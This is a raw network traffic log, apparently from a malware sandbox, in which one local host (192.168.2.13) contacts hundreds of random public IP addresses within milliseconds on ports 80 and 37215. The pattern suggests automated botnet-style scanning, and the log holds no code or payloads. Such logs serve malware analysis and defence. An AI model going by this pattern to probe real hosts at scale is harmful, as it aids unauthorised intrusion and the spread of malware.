Apr 14, 2024 03:59:50.678956032 CEST	2375	80	192.168.2.13	202.60.38.200
Apr 14, 2024 03:59:50.678957939 CEST	2375	80	192.168.2.13	41.109.222.202
Apr 14, 2024 03:59:50.678968906 CEST	2375	80	192.168.2.13	197.220.88.136
Apr 14, 2024 03:59:50.678981066 CEST	2375	80	192.168.2.13	106.172.34.162
Apr 14, 2024 03:59:50.678981066 CEST	2375	80	192.168.2.13	1.81.4.241
Apr 14, 2024 03:59:50.679003000 CEST	2375	80	192.168.2.13	44.194.189.216
Apr 14, 2024 03:59:50.679003000 CEST	2375	80	192.168.2.13	130.149.81.230
Apr 14, 2024 03:59:50.679011106 CEST	2375	80	192.168.2.13	212.40.41.47
Apr 14, 2024 03:59:50.679011106 CEST	2375	80	192.168.2.13	41.110.1.150
Apr 14, 2024 03:59:50.679012060 CEST	2375	80	192.168.2.13	36.129.29.197
Apr 14, 2024 03:59:50.679023027 CEST	2375	80	192.168.2.13	211.204.172.87
Apr 14, 2024 03:59:50.679030895 CEST	2375	80	192.168.2.13	103.134.29.160
Apr 14, 2024 03:59:50.679044008 CEST	2375	80	192.168.2.13	184.183.58.27
Apr 14, 2024 03:59:50.679049969 CEST	2375	80	192.168.2.13	83.31.116.4
Apr 14, 2024 03:59:50.679050922 CEST	2375	80	192.168.2.13	116.51.239.165
Apr 14, 2024 03:59:50.679054022 CEST	2375	80	192.168.2.13	72.166.130.188
Apr 14, 2024 03:59:50.679055929 CEST	2375	80	192.168.2.13	96.142.247.81
Apr 14, 2024 03:59:50.679069042 CEST	2375	80	192.168.2.13	217.134.190.74
Apr 14, 2024 03:59:50.679081917 CEST	2375	80	192.168.2.13	179.213.108.160
Apr 14, 2024 03:59:50.679089069 CEST	2375	80	192.168.2.13	76.118.119.155
Apr 14, 2024 03:59:50.679095030 CEST	2375	80	192.168.2.13	128.66.248.40
Apr 14, 2024 03:59:50.679099083 CEST	2375	80	192.168.2.13	78.63.9.38
Apr 14, 2024 03:59:50.679104090 CEST	2375	80	192.168.2.13	134.166.235.128
Apr 14, 2024 03:59:50.679116964 CEST	2375	80	192.168.2.13	173.92.145.122
Apr 14, 2024 03:59:50.679116964 CEST	2375	80	192.168.2.13	49.29.84.165
Apr 14, 2024 03:59:50.679128885 CEST	2375	80	192.168.2.13	99.197.183.47
Apr 14, 2024 03:59:50.679130077 CEST	2375	80	192.168.2.13	74.185.39.69
Apr 14, 2024 03:59:50.679137945 CEST	2375	80	192.168.2.13	167.120.74.224
Apr 14, 2024 03:59:50.679137945 CEST	2375	80	192.168.2.13	191.221.234.3
Apr 14, 2024 03:59:50.679138899 CEST	2375	80	192.168.2.13	147.120.16.88
Apr 14, 2024 03:59:50.679152012 CEST	2375	80	192.168.2.13	89.179.47.221
Apr 14, 2024 03:59:50.679155111 CEST	2375	80	192.168.2.13	73.95.245.25
Apr 14, 2024 03:59:50.679171085 CEST	2375	80	192.168.2.13	60.16.167.18
Apr 14, 2024 03:59:50.679187059 CEST	2375	80	192.168.2.13	154.253.94.26
Apr 14, 2024 03:59:50.679188013 CEST	2375	80	192.168.2.13	57.163.8.133
Apr 14, 2024 03:59:50.679192066 CEST	2375	80	192.168.2.13	92.46.118.3
Apr 14, 2024 03:59:50.679193974 CEST	2375	80	192.168.2.13	85.10.255.193
Apr 14, 2024 03:59:50.679205894 CEST	2375	80	192.168.2.13	144.0.192.28
Apr 14, 2024 03:59:50.679205894 CEST	2375	80	192.168.2.13	92.200.132.60
Apr 14, 2024 03:59:50.679212093 CEST	2375	80	192.168.2.13	121.86.163.56
Apr 14, 2024 03:59:50.679217100 CEST	2375	80	192.168.2.13	84.158.26.211
Apr 14, 2024 03:59:50.679230928 CEST	2375	80	192.168.2.13	36.8.188.196
Apr 14, 2024 03:59:50.679248095 CEST	2375	80	192.168.2.13	220.185.96.64
Apr 14, 2024 03:59:50.679249048 CEST	2375	80	192.168.2.13	181.227.134.57
Apr 14, 2024 03:59:50.679249048 CEST	2375	80	192.168.2.13	40.46.187.187
Apr 14, 2024 03:59:50.679254055 CEST	2375	80	192.168.2.13	91.42.190.114
Apr 14, 2024 03:59:50.679254055 CEST	2375	80	192.168.2.13	80.47.68.81
Apr 14, 2024 03:59:50.679279089 CEST	2375	80	192.168.2.13	64.142.67.241
Apr 14, 2024 03:59:50.679279089 CEST	2375	80	192.168.2.13	103.181.26.235
Apr 14, 2024 03:59:50.679286957 CEST	2375	80	192.168.2.13	110.219.36.204
Apr 14, 2024 03:59:50.679287910 CEST	2375	80	192.168.2.13	139.172.122.200
Apr 14, 2024 03:59:50.679300070 CEST	2375	80	192.168.2.13	205.110.171.154
Apr 14, 2024 03:59:50.679327965 CEST	2375	80	192.168.2.13	194.109.41.43
Apr 14, 2024 03:59:50.679330111 CEST	2375	80	192.168.2.13	75.11.50.1
Apr 14, 2024 03:59:50.679341078 CEST	2375	80	192.168.2.13	170.252.49.224
Apr 14, 2024 03:59:50.679343939 CEST	2375	80	192.168.2.13	46.251.110.153
Apr 14, 2024 03:59:50.679354906 CEST	2375	80	192.168.2.13	121.163.228.86
Apr 14, 2024 03:59:50.679366112 CEST	2375	80	192.168.2.13	9.187.99.186
Apr 14, 2024 03:59:50.679374933 CEST	2375	80	192.168.2.13	2.109.214.2
Apr 14, 2024 03:59:50.679374933 CEST	2375	80	192.168.2.13	220.246.149.14
Apr 14, 2024 03:59:50.679374933 CEST	2375	80	192.168.2.13	170.55.24.157
Apr 14, 2024 03:59:50.679385900 CEST	2375	80	192.168.2.13	109.49.234.138
Apr 14, 2024 03:59:50.679389954 CEST	2375	80	192.168.2.13	88.166.76.139
Apr 14, 2024 03:59:50.679389954 CEST	2375	80	192.168.2.13	189.206.121.127
Apr 14, 2024 03:59:50.679397106 CEST	2375	80	192.168.2.13	113.78.98.237
Apr 14, 2024 03:59:50.679405928 CEST	2375	80	192.168.2.13	150.143.177.208
Apr 14, 2024 03:59:50.679416895 CEST	2375	80	192.168.2.13	160.194.1.46
Apr 14, 2024 03:59:50.679425001 CEST	2375	80	192.168.2.13	206.213.109.6
Apr 14, 2024 03:59:50.679425001 CEST	2375	80	192.168.2.13	64.64.178.254
Apr 14, 2024 03:59:50.679431915 CEST	2375	80	192.168.2.13	47.250.228.105
Apr 14, 2024 03:59:50.679442883 CEST	2375	80	192.168.2.13	12.253.217.139
Apr 14, 2024 03:59:50.679449081 CEST	2375	80	192.168.2.13	148.215.188.255
Apr 14, 2024 03:59:50.679449081 CEST	2375	80	192.168.2.13	178.121.13.10
Apr 14, 2024 03:59:50.679455042 CEST	2375	80	192.168.2.13	50.216.168.76
Apr 14, 2024 03:59:50.679471016 CEST	2375	80	192.168.2.13	96.185.59.196
Apr 14, 2024 03:59:50.679471016 CEST	2375	80	192.168.2.13	180.134.137.115
Apr 14, 2024 03:59:50.680187941 CEST	2375	80	192.168.2.13	69.198.74.58
Apr 14, 2024 03:59:50.680197954 CEST	2375	80	192.168.2.13	139.188.111.151
Apr 14, 2024 03:59:50.684062004 CEST	1863	37215	192.168.2.13	156.198.190.73
Apr 14, 2024 03:59:50.684072018 CEST	1863	37215	192.168.2.13	197.128.240.132
Apr 14, 2024 03:59:50.684092999 CEST	1863	37215	192.168.2.13	156.162.127.250
Apr 14, 2024 03:59:50.684096098 CEST	1863	37215	192.168.2.13	197.100.235.75
Apr 14, 2024 03:59:50.684092999 CEST	1863	37215	192.168.2.13	156.178.82.93
Apr 14, 2024 03:59:50.684093952 CEST	1863	37215	192.168.2.13	197.210.181.28
Apr 14, 2024 03:59:50.684107065 CEST	1863	37215	192.168.2.13	41.232.156.183
Apr 14, 2024 03:59:50.684113979 CEST	1863	37215	192.168.2.13	197.133.255.37
Apr 14, 2024 03:59:50.684127092 CEST	1863	37215	192.168.2.13	156.94.134.128
Apr 14, 2024 03:59:50.684127092 CEST	1863	37215	192.168.2.13	41.200.155.160
Apr 14, 2024 03:59:50.684142113 CEST	1863	37215	192.168.2.13	197.132.26.32
Apr 14, 2024 03:59:50.684154034 CEST	1863	37215	192.168.2.13	41.171.228.190
Apr 14, 2024 03:59:50.684166908 CEST	1863	37215	192.168.2.13	41.87.123.56
Apr 14, 2024 03:59:50.684179068 CEST	1863	37215	192.168.2.13	156.2.222.5
Apr 14, 2024 03:59:50.684179068 CEST	1863	37215	192.168.2.13	41.146.222.183
Apr 14, 2024 03:59:50.684185982 CEST	1863	37215	192.168.2.13	41.141.172.217
Apr 14, 2024 03:59:50.684192896 CEST	1863	37215	192.168.2.13	156.71.187.26
Apr 14, 2024 03:59:50.684195042 CEST	1863	37215	192.168.2.13	197.217.147.9
Apr 14, 2024 03:59:50.684205055 CEST	1863	37215	192.168.2.13	156.17.10.63
Apr 14, 2024 03:59:50.684225082 CEST	1863	37215	192.168.2.13	197.81.134.236
Apr 14, 2024 03:59:50.684235096 CEST	1863	37215	192.168.2.13	41.75.186.30
Apr 14, 2024 03:59:50.684246063 CEST	1863	37215	192.168.2.13	41.16.33.96
Apr 14, 2024 03:59:50.684246063 CEST	1863	37215	192.168.2.13	197.45.67.60
Apr 14, 2024 03:59:50.684247971 CEST	1863	37215	192.168.2.13	41.214.54.250
Apr 14, 2024 03:59:50.684248924 CEST	1863	37215	192.168.2.13	197.145.236.66
Apr 14, 2024 03:59:50.684263945 CEST	1863	37215	192.168.2.13	41.177.30.14
Apr 14, 2024 03:59:50.684268951 CEST	1863	37215	192.168.2.13	197.163.192.140
Apr 14, 2024 03:59:50.684273958 CEST	1863	37215	192.168.2.13	156.131.195.182
Apr 14, 2024 03:59:50.684278965 CEST	1863	37215	192.168.2.13	197.232.118.30
Apr 14, 2024 03:59:50.684279919 CEST	1863	37215	192.168.2.13	156.200.191.19
Apr 14, 2024 03:59:50.684286118 CEST	1863	37215	192.168.2.13	41.93.116.167
Apr 14, 2024 03:59:50.684292078 CEST	1863	37215	192.168.2.13	41.166.30.27
Apr 14, 2024 03:59:50.684303999 CEST	1863	37215	192.168.2.13	156.71.163.164
Apr 14, 2024 03:59:50.684313059 CEST	1863	37215	192.168.2.13	197.182.249.222
Apr 14, 2024 03:59:50.684319019 CEST	1863	37215	192.168.2.13	197.102.133.177
Apr 14, 2024 03:59:50.684330940 CEST	1863	37215	192.168.2.13	197.200.172.95
Apr 14, 2024 03:59:50.684334993 CEST	1863	37215	192.168.2.13	41.118.180.253
Apr 14, 2024 03:59:50.684345007 CEST	1863	37215	192.168.2.13	41.124.124.89
Apr 14, 2024 03:59:50.684360027 CEST	1863	37215	192.168.2.13	41.48.121.116
Apr 14, 2024 03:59:50.684361935 CEST	1863	37215	192.168.2.13	41.148.206.135
Apr 14, 2024 03:59:50.684375048 CEST	1863	37215	192.168.2.13	41.177.189.151
Apr 14, 2024 03:59:50.684384108 CEST	1863	37215	192.168.2.13	41.25.89.12
Apr 14, 2024 03:59:50.684400082 CEST	1863	37215	192.168.2.13	41.195.96.62
Apr 14, 2024 03:59:50.684400082 CEST	1863	37215	192.168.2.13	156.74.143.0
Apr 14, 2024 03:59:50.684410095 CEST	1863	37215	192.168.2.13	156.26.242.168
Apr 14, 2024 03:59:50.684425116 CEST	1863	37215	192.168.2.13	156.65.112.78
Apr 14, 2024 03:59:50.684427977 CEST	1863	37215	192.168.2.13	197.132.133.86
Apr 14, 2024 03:59:50.684427977 CEST	1863	37215	192.168.2.13	197.202.77.30
Apr 14, 2024 03:59:50.684442043 CEST	1863	37215	192.168.2.13	197.106.244.84
Apr 14, 2024 03:59:50.684444904 CEST	1863	37215	192.168.2.13	41.155.169.141
Apr 14, 2024 03:59:50.684462070 CEST	1863	37215	192.168.2.13	41.158.207.41
Apr 14, 2024 03:59:50.684462070 CEST	1863	37215	192.168.2.13	156.96.232.62
Apr 14, 2024 03:59:50.684462070 CEST	1863	37215	192.168.2.13	41.73.230.17
Apr 14, 2024 03:59:50.684477091 CEST	1863	37215	192.168.2.13	156.177.79.23
Apr 14, 2024 03:59:50.684484005 CEST	1863	37215	192.168.2.13	197.77.118.235
Apr 14, 2024 03:59:50.684497118 CEST	1863	37215	192.168.2.13	197.125.180.165
Apr 14, 2024 03:59:50.684499025 CEST	1863	37215	192.168.2.13	197.23.210.22
Apr 14, 2024 03:59:50.684509039 CEST	1863	37215	192.168.2.13	41.161.252.18
Apr 14, 2024 03:59:50.684509039 CEST	1863	37215	192.168.2.13	156.192.131.74
Apr 14, 2024 03:59:50.684509039 CEST	1863	37215	192.168.2.13	197.79.83.241
Apr 14, 2024 03:59:50.684510946 CEST	1863	37215	192.168.2.13	41.165.209.129
Apr 14, 2024 03:59:50.684520960 CEST	1863	37215	192.168.2.13	197.162.117.26
Apr 14, 2024 03:59:50.684534073 CEST	1863	37215	192.168.2.13	41.184.24.226
Apr 14, 2024 03:59:50.684551954 CEST	1863	37215	192.168.2.13	41.68.158.126
Apr 14, 2024 03:59:50.684551954 CEST	1863	37215	192.168.2.13	197.252.26.130
Apr 14, 2024 03:59:50.684567928 CEST	1863	37215	192.168.2.13	41.243.34.112
Apr 14, 2024 03:59:50.684576035 CEST	1863	37215	192.168.2.13	41.243.174.197
Apr 14, 2024 03:59:50.684576035 CEST	1863	37215	192.168.2.13	156.76.173.122
Apr 14, 2024 03:59:50.684586048 CEST	1863	37215	192.168.2.13	197.181.17.83
Apr 14, 2024 03:59:50.684587002 CEST	1863	37215	192.168.2.13	156.154.253.95
Apr 14, 2024 03:59:50.684596062 CEST	1863	37215	192.168.2.13	197.227.244.233
Apr 14, 2024 03:59:50.684596062 CEST	1863	37215	192.168.2.13	197.81.222.44
Apr 14, 2024 03:59:50.684608936 CEST	1863	37215	192.168.2.13	41.116.216.72
Apr 14, 2024 03:59:50.684612989 CEST	1863	37215	192.168.2.13	41.148.142.187
Apr 14, 2024 03:59:50.684627056 CEST	1863	37215	192.168.2.13	197.197.35.16
Apr 14, 2024 03:59:50.684628010 CEST	1863	37215	192.168.2.13	156.128.42.149
Apr 14, 2024 03:59:50.684640884 CEST	1863	37215	192.168.2.13	156.254.178.159
Apr 14, 2024 03:59:50.684640884 CEST	1863	37215	192.168.2.13	156.104.159.125
Apr 14, 2024 03:59:50.684654951 CEST	1863	37215	192.168.2.13	197.28.130.219
Apr 14, 2024 03:59:50.684655905 CEST	1863	37215	192.168.2.13	197.194.157.84
Apr 14, 2024 03:59:50.684659004 CEST	1863	37215	192.168.2.13	156.124.110.156
Apr 14, 2024 03:59:50.684672117 CEST	1863	37215	192.168.2.13	197.225.182.209
Apr 14, 2024 03:59:50.684672117 CEST	1863	37215	192.168.2.13	156.243.90.211
Apr 14, 2024 03:59:50.684686899 CEST	1863	37215	192.168.2.13	156.171.52.70
Apr 14, 2024 03:59:50.684689999 CEST	1863	37215	192.168.2.13	156.236.142.173
Apr 14, 2024 03:59:50.684699059 CEST	1863	37215	192.168.2.13	197.172.240.152
Apr 14, 2024 03:59:50.684704065 CEST	1863	37215	192.168.2.13	197.254.15.5
Apr 14, 2024 03:59:50.684704065 CEST	1863	37215	192.168.2.13	197.237.2.56
Apr 14, 2024 03:59:50.684704065 CEST	1863	37215	192.168.2.13	41.213.134.63
Apr 14, 2024 03:59:50.684719086 CEST	1863	37215	192.168.2.13	156.128.55.38
Apr 14, 2024 03:59:50.684737921 CEST	1863	37215	192.168.2.13	197.185.95.172
Apr 14, 2024 03:59:50.684737921 CEST	1863	37215	192.168.2.13	41.86.165.169
Apr 14, 2024 03:59:50.684753895 CEST	1863	37215	192.168.2.13	156.252.152.90
Apr 14, 2024 03:59:50.684770107 CEST	1863	37215	192.168.2.13	197.81.62.71
Apr 14, 2024 03:59:50.684782028 CEST	1863	37215	192.168.2.13	197.195.52.124
Apr 14, 2024 03:59:50.684782028 CEST	1863	37215	192.168.2.13	156.41.137.90
Apr 14, 2024 03:59:50.684782028 CEST	1863	37215	192.168.2.13	41.242.184.84
Apr 14, 2024 03:59:50.684782028 CEST	1863	37215	192.168.2.13	156.208.12.194
Apr 14, 2024 03:59:50.684782028 CEST	1863	37215	192.168.2.13	41.2.210.96
Apr 14, 2024 03:59:50.684798002 CEST	1863	37215	192.168.2.13	156.136.52.91
Apr 14, 2024 03:59:50.684811115 CEST	1863	37215	192.168.2.13	156.100.81.41
Apr 14, 2024 03:59:50.684811115 CEST	1863	37215	192.168.2.13	41.16.84.115
Apr 14, 2024 03:59:50.684812069 CEST	1863	37215	192.168.2.13	41.48.23.38
Apr 14, 2024 03:59:50.684825897 CEST	1863	37215	192.168.2.13	197.163.84.141
Apr 14, 2024 03:59:50.684827089 CEST	1863	37215	192.168.2.13	197.47.218.191
Apr 14, 2024 03:59:50.684832096 CEST	1863	37215	192.168.2.13	197.102.139.208
Apr 14, 2024 03:59:50.684844017 CEST	1863	37215	192.168.2.13	156.213.174.174
Apr 14, 2024 03:59:50.684849024 CEST	1863	37215	192.168.2.13	156.150.245.199
Apr 14, 2024 03:59:50.684849024 CEST	1863	37215	192.168.2.13	41.89.182.40
Apr 14, 2024 03:59:50.684865952 CEST	1863	37215	192.168.2.13	197.173.18.119
Apr 14, 2024 03:59:50.684868097 CEST	1863	37215	192.168.2.13	41.166.39.98
Apr 14, 2024 03:59:50.684868097 CEST	1863	37215	192.168.2.13	156.210.134.70
Apr 14, 2024 03:59:50.684878111 CEST	1863	37215	192.168.2.13	156.194.142.215
Apr 14, 2024 03:59:50.684891939 CEST	1863	37215	192.168.2.13	197.56.185.37
Apr 14, 2024 03:59:50.684895992 CEST	1863	37215	192.168.2.13	197.117.179.193
Apr 14, 2024 03:59:50.684909105 CEST	1863	37215	192.168.2.13	41.115.135.103
Apr 14, 2024 03:59:50.684909105 CEST	1863	37215	192.168.2.13	41.198.71.13
Apr 14, 2024 03:59:50.684916019 CEST	1863	37215	192.168.2.13	156.98.61.71
Apr 14, 2024 03:59:50.684919119 CEST	1863	37215	192.168.2.13	156.3.53.121
Apr 14, 2024 03:59:50.684921980 CEST	1863	37215	192.168.2.13	156.50.252.222
Apr 14, 2024 03:59:50.684926987 CEST	1863	37215	192.168.2.13	197.47.90.127
Apr 14, 2024 03:59:50.684937000 CEST	1863	37215	192.168.2.13	156.252.242.65
Apr 14, 2024 03:59:50.684937954 CEST	1863	37215	192.168.2.13	41.7.40.90
Apr 14, 2024 03:59:50.684953928 CEST	1863	37215	192.168.2.13	156.76.206.9
Apr 14, 2024 03:59:50.684967041 CEST	1863	37215	192.168.2.13	41.27.195.216
Apr 14, 2024 03:59:50.684983969 CEST	1863	37215	192.168.2.13	197.27.88.108
Apr 14, 2024 03:59:50.684983969 CEST	1863	37215	192.168.2.13	41.61.252.137
Apr 14, 2024 03:59:50.684987068 CEST	1863	37215	192.168.2.13	41.3.19.131
Apr 14, 2024 03:59:50.685002089 CEST	1863	37215	192.168.2.13	41.102.194.53
Apr 14, 2024 03:59:50.685009956 CEST	1863	37215	192.168.2.13	156.146.17.217
Apr 14, 2024 03:59:50.685009956 CEST	1863	37215	192.168.2.13	197.193.13.122
Apr 14, 2024 03:59:50.685009956 CEST	1863	37215	192.168.2.13	41.204.144.205
Apr 14, 2024 03:59:50.685019016 CEST	1863	37215	192.168.2.13	156.239.163.116
Apr 14, 2024 03:59:50.685033083 CEST	1863	37215	192.168.2.13	197.114.129.61
Apr 14, 2024 03:59:50.685033083 CEST	1863	37215	192.168.2.13	197.147.254.227
Apr 14, 2024 03:59:50.685045004 CEST	1863	37215	192.168.2.13	41.123.190.7
Apr 14, 2024 03:59:50.685059071 CEST	1863	37215	192.168.2.13	41.183.49.123
Apr 14, 2024 03:59:50.685062885 CEST	1863	37215	192.168.2.13	156.230.232.58
Apr 14, 2024 03:59:50.685075998 CEST	1863	37215	192.168.2.13	41.1.14.125
Apr 14, 2024 03:59:50.685096025 CEST	1863	37215	192.168.2.13	156.87.129.143
Apr 14, 2024 03:59:50.685096025 CEST	1863	37215	192.168.2.13	156.53.250.100
Apr 14, 2024 03:59:50.685096979 CEST	1863	37215	192.168.2.13	41.79.104.140
Apr 14, 2024 03:59:50.685096979 CEST	1863	37215	192.168.2.13	41.47.23.63
Apr 14, 2024 03:59:50.685106039 CEST	1863	37215	192.168.2.13	197.12.238.2
Apr 14, 2024 03:59:50.685122013 CEST	1863	37215	192.168.2.13	41.153.238.77
Apr 14, 2024 03:59:50.685122013 CEST	1863	37215	192.168.2.13	41.98.199.86
Apr 14, 2024 03:59:50.685122013 CEST	1863	37215	192.168.2.13	41.218.78.145
Apr 14, 2024 03:59:50.685122013 CEST	1863	37215	192.168.2.13	41.22.218.216
Apr 14, 2024 03:59:50.685128927 CEST	1863	37215	192.168.2.13	197.21.31.126
Apr 14, 2024 03:59:50.685152054 CEST	1863	37215	192.168.2.13	156.215.171.164
Apr 14, 2024 03:59:50.685153008 CEST	1863	37215	192.168.2.13	156.146.178.148
Apr 14, 2024 03:59:50.685189962 CEST	1863	37215	192.168.2.13	156.62.111.204
Apr 14, 2024 03:59:50.685193062 CEST	1863	37215	192.168.2.13	41.180.124.70
Apr 14, 2024 03:59:50.685205936 CEST	1863	37215	192.168.2.13	41.89.18.72
Apr 14, 2024 03:59:50.685205936 CEST	1863	37215	192.168.2.13	197.144.201.14
Apr 14, 2024 03:59:50.685209036 CEST	1863	37215	192.168.2.13	41.22.204.215
Apr 14, 2024 03:59:50.685223103 CEST	1863	37215	192.168.2.13	41.176.205.107
Apr 14, 2024 03:59:50.685223103 CEST	1863	37215	192.168.2.13	197.233.179.208
Apr 14, 2024 03:59:50.685223103 CEST	1863	37215	192.168.2.13	197.56.244.51
Apr 14, 2024 03:59:50.685225010 CEST	1863	37215	192.168.2.13	156.61.226.75
Apr 14, 2024 03:59:50.685239077 CEST	1863	37215	192.168.2.13	197.40.136.74
Apr 14, 2024 03:59:50.685241938 CEST	1863	37215	192.168.2.13	197.155.131.137
Apr 14, 2024 03:59:50.685256004 CEST	1863	37215	192.168.2.13	41.127.126.58
Apr 14, 2024 03:59:50.685259104 CEST	1863	37215	192.168.2.13	41.52.116.33
Apr 14, 2024 03:59:50.685271025 CEST	1863	37215	192.168.2.13	156.15.49.42
Apr 14, 2024 03:59:50.685277939 CEST	1863	37215	192.168.2.13	156.241.68.174
Apr 14, 2024 03:59:50.685277939 CEST	1863	37215	192.168.2.13	41.235.107.170
Apr 14, 2024 03:59:50.685286999 CEST	1863	37215	192.168.2.13	197.31.0.37
Apr 14, 2024 03:59:50.685323000 CEST	1863	37215	192.168.2.13	156.185.202.203
Apr 14, 2024 03:59:50.685323954 CEST	1863	37215	192.168.2.13	156.11.214.77
Apr 14, 2024 03:59:50.685336113 CEST	1863	37215	192.168.2.13	197.167.179.164
Apr 14, 2024 03:59:50.685338974 CEST	1863	37215	192.168.2.13	156.8.88.13
Apr 14, 2024 03:59:50.685339928 CEST	1863	37215	192.168.2.13	156.133.136.111
Apr 14, 2024 03:59:50.685350895 CEST	1863	37215	192.168.2.13	41.10.245.2
Apr 14, 2024 03:59:50.685353041 CEST	1863	37215	192.168.2.13	156.142.220.153
Apr 14, 2024 03:59:50.685353041 CEST	1863	37215	192.168.2.13	156.153.19.35
Apr 14, 2024 03:59:50.685364962 CEST	1863	37215	192.168.2.13	41.117.171.187
Apr 14, 2024 03:59:50.685373068 CEST	1863	37215	192.168.2.13	41.29.138.184
Apr 14, 2024 03:59:50.685386896 CEST	1863	37215	192.168.2.13	156.126.33.47
Apr 14, 2024 03:59:50.685388088 CEST	1863	37215	192.168.2.13	156.70.228.223
Apr 14, 2024 03:59:50.685400009 CEST	1863	37215	192.168.2.13	156.110.126.128
Apr 14, 2024 03:59:50.685400009 CEST	1863	37215	192.168.2.13	41.60.109.59
Apr 14, 2024 03:59:50.685414076 CEST	1863	37215	192.168.2.13	41.48.187.38
Apr 14, 2024 03:59:50.685415030 CEST	1863	37215	192.168.2.13	156.34.123.36
Apr 14, 2024 03:59:50.685415983 CEST	1863	37215	192.168.2.13	156.143.234.207
Apr 14, 2024 03:59:50.685430050 CEST	1863	37215	192.168.2.13	156.230.247.76
Apr 14, 2024 03:59:50.685435057 CEST	1863	37215	192.168.2.13	41.186.60.198
Apr 14, 2024 03:59:50.685435057 CEST	1863	37215	192.168.2.13	156.209.64.48
Apr 14, 2024 03:59:50.685435057 CEST	1863	37215	192.168.2.13	156.168.92.94
Apr 14, 2024 03:59:50.685446024 CEST	1863	37215	192.168.2.13	156.185.79.112
Apr 14, 2024 03:59:50.685450077 CEST	1863	37215	192.168.2.13	41.242.36.170
Apr 14, 2024 03:59:50.685463905 CEST	1863	37215	192.168.2.13	156.241.229.73
Apr 14, 2024 03:59:50.685466051 CEST	1863	37215	192.168.2.13	197.237.153.98
Apr 14, 2024 03:59:50.685475111 CEST	1863	37215	192.168.2.13	197.53.252.14
Apr 14, 2024 03:59:50.685487986 CEST	1863	37215	192.168.2.13	41.104.46.23
Apr 14, 2024 03:59:50.685489893 CEST	1863	37215	192.168.2.13	41.190.86.158
Apr 14, 2024 03:59:50.685492039 CEST	1863	37215	192.168.2.13	41.142.165.236
Apr 14, 2024 03:59:50.685496092 CEST	1863	37215	192.168.2.13	156.164.188.242
Apr 14, 2024 03:59:50.685508013 CEST	1863	37215	192.168.2.13	41.220.57.136
Apr 14, 2024 03:59:50.685516119 CEST	1863	37215	192.168.2.13	41.254.41.215
Apr 14, 2024 03:59:50.685523987 CEST	1863	37215	192.168.2.13	197.191.118.179
Apr 14, 2024 03:59:50.685534954 CEST	1863	37215	192.168.2.13	197.41.193.215
Apr 14, 2024 03:59:50.685539007 CEST	1863	37215	192.168.2.13	156.224.175.184
Apr 14, 2024 03:59:50.685551882 CEST	1863	37215	192.168.2.13	156.154.238.142
Apr 14, 2024 03:59:50.685554981 CEST	1863	37215	192.168.2.13	156.71.69.225
Apr 14, 2024 03:59:50.685571909 CEST	1863	37215	192.168.2.13	197.20.160.158
Apr 14, 2024 03:59:50.685585022 CEST	1863	37215	192.168.2.13	156.236.211.143
Apr 14, 2024 03:59:50.685585976 CEST	1863	37215	192.168.2.13	197.228.198.231
Apr 14, 2024 03:59:50.685589075 CEST	1863	37215	192.168.2.13	156.101.169.196
Apr 14, 2024 03:59:50.685594082 CEST	1863	37215	192.168.2.13	41.80.236.12
Apr 14, 2024 03:59:50.685594082 CEST	1863	37215	192.168.2.13	156.88.190.33
Apr 14, 2024 03:59:50.685595036 CEST	1863	37215	192.168.2.13	41.93.20.9
Apr 14, 2024 03:59:50.685595989 CEST	1863	37215	192.168.2.13	41.115.70.51
Apr 14, 2024 03:59:50.685604095 CEST	1863	37215	192.168.2.13	197.39.29.67
Apr 14, 2024 03:59:50.685607910 CEST	1863	37215	192.168.2.13	197.9.79.1
Apr 14, 2024 03:59:50.685607910 CEST	1863	37215	192.168.2.13	156.123.157.53
Apr 14, 2024 03:59:50.685607910 CEST	1863	37215	192.168.2.13	156.107.32.189
Apr 14, 2024 03:59:50.685621977 CEST	1863	37215	192.168.2.13	41.144.13.39
Apr 14, 2024 03:59:50.685622931 CEST	1863	37215	192.168.2.13	41.66.115.75
Apr 14, 2024 03:59:50.685632944 CEST	1863	37215	192.168.2.13	197.3.170.22
Apr 14, 2024 03:59:50.685641050 CEST	1863	37215	192.168.2.13	197.168.78.29
Apr 14, 2024 03:59:50.685646057 CEST	1863	37215	192.168.2.13	41.42.233.255
Apr 14, 2024 03:59:50.685657024 CEST	1863	37215	192.168.2.13	197.193.246.5
Apr 14, 2024 03:59:50.685662985 CEST	1863	37215	192.168.2.13	156.116.52.249
Apr 14, 2024 03:59:50.685677052 CEST	1863	37215	192.168.2.13	41.84.169.207
Apr 14, 2024 03:59:50.685682058 CEST	1863	37215	192.168.2.13	197.169.19.134
Apr 14, 2024 03:59:50.685682058 CEST	1863	37215	192.168.2.13	197.203.135.155
Apr 14, 2024 03:59:50.685688019 CEST	1863	37215	192.168.2.13	41.168.200.229
Apr 14, 2024 03:59:50.685702085 CEST	1863	37215	192.168.2.13	156.143.84.151
Apr 14, 2024 03:59:50.685705900 CEST	1863	37215	192.168.2.13	41.146.145.83
Apr 14, 2024 03:59:50.685719013 CEST	1863	37215	192.168.2.13	156.72.215.139
Apr 14, 2024 03:59:50.685719967 CEST	1863	37215	192.168.2.13	197.152.170.166
Apr 14, 2024 03:59:50.685722113 CEST	1863	37215	192.168.2.13	41.134.15.99
Apr 14, 2024 03:59:50.685735941 CEST	1863	37215	192.168.2.13	41.159.154.88
Apr 14, 2024 03:59:50.685744047 CEST	1863	37215	192.168.2.13	41.166.114.124
Apr 14, 2024 03:59:50.685744047 CEST	1863	37215	192.168.2.13	41.216.85.248
Apr 14, 2024 03:59:50.685754061 CEST	1863	37215	192.168.2.13	156.151.0.254
Apr 14, 2024 03:59:50.685769081 CEST	1863	37215	192.168.2.13	156.222.125.193
Apr 14, 2024 03:59:50.685772896 CEST	1863	37215	192.168.2.13	156.138.80.208
Apr 14, 2024 03:59:50.685772896 CEST	1863	37215	192.168.2.13	197.151.18.135
Apr 14, 2024 03:59:50.685781956 CEST	1863	37215	192.168.2.13	197.156.71.136
Apr 14, 2024 03:59:50.685792923 CEST	1863	37215	192.168.2.13	197.119.49.141
Apr 14, 2024 03:59:50.685796022 CEST	1863	37215	192.168.2.13	197.60.237.70
Apr 14, 2024 03:59:50.685796022 CEST	1863	37215	192.168.2.13	197.192.165.77
Apr 14, 2024 03:59:50.685800076 CEST	1863	37215	192.168.2.13	41.241.134.170
Apr 14, 2024 03:59:50.685813904 CEST	1863	37215	192.168.2.13	156.215.93.174
Apr 14, 2024 03:59:50.685822964 CEST	1863	37215	192.168.2.13	197.188.129.49
Apr 14, 2024 03:59:50.685827017 CEST	1863	37215	192.168.2.13	197.243.149.69
Apr 14, 2024 03:59:50.685839891 CEST	1863	37215	192.168.2.13	156.29.181.244
